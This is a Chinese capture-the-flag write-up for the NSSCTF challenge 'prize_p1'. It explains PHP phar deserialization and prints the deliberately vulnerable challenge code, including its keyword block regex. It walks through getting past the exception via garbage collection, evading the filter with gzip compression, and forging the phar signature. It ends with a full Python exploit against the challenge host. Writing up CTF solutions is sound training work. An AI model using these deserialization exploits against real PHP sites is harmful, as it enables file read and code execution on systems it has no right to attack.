prize_p1
考点:phar反序列化
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
前置
__destruct(),类的析构函数
1 主动调用unset($obj)
2 主动调用$obj = NULL
3 程序自动结束
分析代码,其中getflag
的__destruct
方法触发即可得到flag,A
的__destruct
方法触发即可写/tmp/a.txt
或者任意文件读。
第一步:绕过异常
当程序抛出异常时,__destruct方法不会执行,也就无法实现文件的写入。
a:2:{i:0;O:4:"test":0:{};i:0;N}
//先将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用
同理
O:1:"A":{s:6:"config";s:1:"w";}
由于unserialize($_GET[0]);
没有被引用,相当于unset,那么就可以绕过异常执行__destruct
第二步:phar://反序列化
正则表达式过滤了伪协议,若直接phar反序列化,那么反序列化对象中依旧会有明文。
https://guokeya.github.io/post/uxwHLckwx
在该文章中提到,有五种能触发phar的操作,我们通过将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文从而绕过正则表达式
普通phar
gzip
bzip2
tar
zip
第三步:绕过异常
如果我们直接在phar文件的Metadata写getflag
对象的话,是不能进行反序列化的,因为它反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct
这里,我们就需要利用GC(Collecting Cycles)来进行执行__destruct
a:2:{i:0;O:7:"getflag":{}i:0;N;}
考虑反序列化本字符串,我们可以发现,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]
设置为getflag
对象,同时我们又将Array[0]
设置为null
,这样前面的getflag
对象便丢失了引用,就会被GC所捕获,便可以执行__destruct
了。
第四步:phar签名修改
我们需要在phar文件中写入这样一个字符串
a:2:{i:0;O:7:"getflag":{}i:0;N;}
直接serialize是不行的,因为在序列化之前属性就已经固定了
a:2:{i:0;O:7:"getflag":{}i:1;N;}
我们可以先生成如上序列化字符串,再想办法将i改成0。但是如果直接修改的话会因为签名错误而报错,那么我们可以修改签名
phar签名数据
示例:sha1签名修复
from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件
生成phar文件
<?php
class getflag{
}
$c=new getflag();
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata([0=>$c,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
修改i的值为0,修复签名
最后exp
import requests
import gzip
import re
url = 'http://10258-30c3625a-13f9-489f.nss.ctfer.vip:9080/'
file = open("./ph2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()
requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
},
data={
0: open('./phar.zip', 'rb').read()
}
) # 写入
res = requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
},
data={
0: 'phar://tmp/a.txt'
}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)
其他思路:
-
file_put_contents
数组绕过 -
可以抛弃的签名—phar文件签名非必需
参考链接:
https://www.ctfer.vip/#/note/set/wp/33